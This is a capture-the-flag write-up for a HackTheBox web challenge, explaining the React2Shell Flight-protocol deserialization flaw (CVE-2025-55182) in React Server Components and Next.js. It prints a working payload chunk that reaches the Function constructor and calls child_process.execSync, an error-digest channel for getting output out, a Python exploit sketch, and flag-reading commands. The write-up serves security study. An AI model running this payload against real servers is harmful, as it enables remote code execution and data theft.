Box: HTB — ReactOOPS (Web Study Note)
React2Shell (CVE-2025-55182) – Technical Analysis & How the Exploit Actually Worked
References & Further Reading
For anyone who wants to go deeper into the internals and official advisories:
Official Advisories
Technical Deep Dives
- Wiz Research – React2Shell (CVE-2025-55182)
- Datadog Security Labs – Exploiting React Flight Runtime
- Original PoC Repo (msanft)
During this challenge, I exploited a real-world vulnerability affecting modern React Server Components (RSC) and Next.js App Router deployments. The bug—now known as React2Shell (CVE-2025-55182)—turns RSC’s serialization format (the Flight protocol) into a reliable remote code execution primitive.
This write-up walks through what went wrong in React, why
Next.js 16.0.6 + React 19.x is inherently vulnerable, how the exploit chain works internally,
and how that eventually became root-level RCE and flag extraction.
1. Background: React Server Components & the Flight Protocol
React Server Components introduce a special wire format called Flight for encoding server-side models and server action results. Instead of posting JSON, the browser talks to the server with something like:
POST /?__flight__=1
Content-Type: multipart/mixed; boundary=...
The body is a sequence of Flight chunks. Each chunk describes some piece of the server-side state (models, errors, actions, etc.), and React’s Flight runtime on the server is responsible for decoding those chunks into JavaScript objects.
That decoding step is where things go off the rails. The runtime:
- Walks the prototype chain of values
- Touches
__proto__ - Accesses
constructorand evenconstructor.constructor - Inspects a
thenproperty to decide if something is a “thenable”
If an attacker can inject Flight chunks into this pipeline, and the runtime happily follows all of these references, we suddenly have all the ingredients for:
- Prototype poisoning
- Reaching
Functionviaconstructor.constructor - Arbitrary JavaScript execution on the server
Attacker
|
| 1. Craft malicious Flight chunk
v
React Flight Decoder
|
| 2. Follows __proto__ / then / constructor
v
Function constructor
|
v
Arbitrary JS (child_process.execSync) → RCE
2. Why This Environment Was Vulnerable
The challenge application shipped with the following dependencies:
"next": "16.0.6",
"react": "^19",
"react-dom": "^19"
This lands squarely in the vulnerable window for React Server Components + App Router. More importantly, the app wasn’t doing anything “weird” or obviously dangerous—just standard Next.js with server actions enabled.
In practice, this meant:
- Unpatched React Server Components Flight runtime
- Next.js App Router exposing RSC / server action endpoints
- No sanitization of prototype chains during Flight decoding
- Default Node.js environment with
child_processavailable
In other words, the framework was happily running untrusted Flight chunks on the server during deserialization—and we were allowed to hijack that process from the outside.
3. Root Cause: Unsafe Flight Model Deserialization
At the root of React2Shell is a classic deserialization problem, but expressed in JavaScript instead of in memory-unsafe code.
The vulnerable behavior looks like this at a high level:
- React receives a Flight chunk from the client.
- It attempts to reconstruct JavaScript objects from the chunk content.
- It follows references such as
__proto__,then, andconstructor. - It treats certain attacker-controlled objects as “thenables” and invokes their
thenmethod.
This chain gives an attacker three critical levers:
- Thenable forcing: we can make the runtime believe our object is a promise-like value.
-
Prototype pollution:
we can inject keys that affect how
__proto__and nested properties resolve. -
Function reachability:
by navigating to
constructor.constructor, we arrive at JavaScript’sFunctionconstructor—i.e., a built-in code execution primitive.
Combine those with a convenient place to inject code (_prefix on the Flight response object), and
the Flight protocol accidentally exposes a neat path from:
deserialization → JS object → Function() → arbitrary server-side JS.
4. The Exploit Primitive in Detail
The core of the exploit is a crafted Flight chunk that abuses prototype-chain resolution and thenable handling
to smuggle in a call to Function, which then executes child_process.execSync.
Here is the key structure I used (simplified for readability):
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": (
"var res = process.mainModule.require('child_process')"
+ ".execSync('" + EXECUTABLE + "', {timeout:5000})"
+ ".toString().trim();"
+ "throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});"
),
"_formData": {
"get": "$1:constructor:constructor"
}
}
};
4.1 Thenable poisoning
The top-level "then": "$1:__proto__:then" is the pivot into the thenable logic.
The idea is: when React processes this chunk, it tries to see if it behaves like a promise. By pointing
then at __proto__.then in the Flight reference syntax, we force the runtime through
a sequence of property resolutions that land on something attacker-controlled.
4.2 Reaching Function via constructor.constructor
The _formData.get property is wired up to
"$1:constructor:constructor". When React resolves this, it follows:
someObject.constructor → e.g. Object
someObject.constructor.constructor → Function
Once you have Function, you essentially have:
Function("arbitrary JS here")()
which is game over for server-side security.
4.3 Code injection via _prefix
The _prefix field on _response is a convenient hook: React concatenates this JavaScript
prefix into the server-side code it runs while processing the model. So if we set _prefix to a
string containing our own JS, that JS executes before the rest of the logic.
In other words, _prefix becomes our injection point. In this challenge, I used it to pull in
child_process and run an arbitrary shell command:
var res = process.mainModule.require('child_process')
.execSync('<COMMAND>', {timeout:5000})
.toString().trim();
4.4 Error-based exfiltration via digest
Finally, we need to get the command output back to the client. Instead of trying to smuggle it through a normal response body, we deliberately throw an error:
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `${res}`
});
Next.js encodes this error into a Flight error chunk and includes our digest string.
The end result: the HTTP response contains a line with our command output embedded directly in JSON.
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),..."}
That single line is the proof that the Node.js process executed our command as root.
5. Putting It Together – From Flight Chunk to Root RCE
With the primitive in place, all that’s left is to send the right HTTP request. The challenge exposed a server action endpoint that accepted multipart Flight payloads, so the exploit script only needed to:
- Send a
POST /?__flight__=1request withmultipart/mixedbody - Embed the crafted Flight chunk in one of the parts
- Ask the injected code to run a specific command
My invocation looked like this:
python3 exploit.py http://<target> "id"
And the response included:
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),..."}
At that point, the rest is just command selection. We’re already root inside the container/VM where Next.js is running. No extra sandbox escapes, no race conditions—just pure deserialization abuse.
┌──────────────────────────────────────────┐
│ Attacker Client │
└──────────────────────────────────────────┘
│
│ 1. Send malicious multipart/mixed
│ Flight payload targeting:
│
▼
POST /?__flight__=1 (Next.js Server Action)
┌──────────────────────────────────────────┐
│ Next.js RSC Entry Point │
└──────────────────────────────────────────┘
│
│ 2. Next.js forwards payload to
│ the React Flight runtime for
│ model deserialization
▼
┌──────────────────────────────────────────┐
│ React Flight Decoder (Server) │
└──────────────────────────────────────────┘
│
│ 3. Decoder processes "chunks"
│ and begins resolving:
│ • __proto__
│ • then
│ • constructor
│
│ → Malicious “thenable” resolved
▼
┌──────────────────────────────────────────┐
│ Forced Thenable Resolution Path │
└──────────────────────────────────────────┘
│
│ 4. React tries to treat the object
│ as a Promise-like value.
│
│ Payload forces:
│ then → __proto__.then
│
▼
┌──────────────────────────────────────────┐
│ Prototype Chain Traversal (Poisoned) │
└──────────────────────────────────────────┘
│
│ 5. Decoder follows:
│
│ obj.constructor → Object
│ obj.constructor.constructor → Function
│
│ Exposes JS Function ctor:
│ Function("malicious JS")()
▼
┌──────────────────────────────────────────┐
│ Function Constructor │
└──────────────────────────────────────────┘
│
│ 6. `_prefix` JS executes:
│
│ process.mainModule
│ .require("child_process")
│ .execSync(COMMAND)
│
▼
┌──────────────────────────────────────────┐
│ Arbitrary Code Execution │
│ (Node.js: root user) │
└──────────────────────────────────────────┘
│
│ 7. Output captured as `res`
│ thrown intentionally:
│ Error { digest: res }
▼
┌──────────────────────────────────────────┐
│ Next.js Flight Error Serialization │
└──────────────────────────────────────────┘
│
│ 8. Output embedded in error chunk:
│
│ 1:E{"digest":"<output>"}
▼
┌──────────────────────────────────────────┐
│ HTTP Response to Client │
└──────────────────────────────────────────┘
│
│ 9. Client extracts digest → obtains:
│ • id output
│ • file paths
│ • flag contents
▼
┌──────────────────────────────────────────┐
│ Full Root RCE Achieved │
└──────────────────────────────────────────┘
6. Flag Extraction
Once I had reliable root RCE, retrieving the flag was almost boring. I reused the same exploit pipeline but swapped out the command string.
First, locate the flag:
python3 exploit.py http://<target> \
"find / -maxdepth 4 -name 'flag.txt' 2>/dev/null"
The path dropped into the digest field. After that, it was just a cat away:
python3 exploit.py http://<target> "cat /flag.txt"
Again, the response Flight error chunk carried the actual flag as the digest value. No file
uploads, no shell spawning, just one more Flight round trip.
7. Why This Exploit Was So Stable
What made React2Shell feel almost “too clean” as an exploit chain is how many things lined up by default:
| Component | Why It Helped the Exploit |
| Flight deserialization | Followed untrusted prototype chains and allowed attacker-controlled thenables |
| Multipart / Next.js server actions | Accepted arbitrary Flight payloads as if they were legitimate server actions |
| Node.js runtime | Exposed process.mainModule.require('child_process') with no sandbox |
constructor.constructor |
Provided a direct path to Function and arbitrary JS evaluation |
| Flight error digest | Offered a predictable, structured channel to exfiltrate command output |
Put differently, a pretty normal-looking Next.js app had all of these pieces wired together in the worst possible way. A single HTTP request with a crafted Flight chunk was enough to go from:
“anonymous POST request” → “Node.js root shell (via execSync)”
8. Exploit Script Sketch
Conceptually, the exploit script just needs to wrap the chunk above into a multipart request. A very rough sketch (omitting some challenge-specific details) looks like this:
#!/usr/bin/env python3
import sys
import requests
TARGET = sys.argv[1]
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
def build_chunk(cmd: str):
return {
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": (
"var res = process.mainModule.require('child_process')"
+ f".execSync('{cmd}', {{timeout:5000}})"
+ ".toString().trim();"
+ "throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});"
),
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
def main():
chunk = build_chunk(EXECUTABLE)
# Serialize chunk into the specific Flight wire format expected by this app.
# This part is implementation-specific and omitted here.
body = build_multipart_flight_body(chunk)
r = requests.post(
f"{TARGET}/?__flight__=1",
data=body,
headers={
"Content-Type": "multipart/mixed; boundary=----flight",
},
timeout=8,
)
print(r.text)
if __name__ == "__main__":
main()
The key point is not the Python boilerplate, but the fact that:
the only “exploit step” is convincing the Flight decoder to run our _prefix.
9. Final Thoughts
What makes this vulnerability interesting (and scary) is how clean the chain is. There’s no memory corruption, no weird side channels, and no race conditions. It’s just JavaScript semantics plus a deserializer that trusts the wrong things.
In this challenge, I essentially weaponized the normal RSC flow:
- User-controlled Flight chunk
- Prototype and thenable resolution
constructor.constructor→Functionchild_process.execSync→ arbitrary shell command- Flight error digest → reliable data exfil
As long as vulnerable React + Next.js builds are still out there, a single HTTP request with a malicious Flight payload can be enough to turn “React server” into “React2Shell”.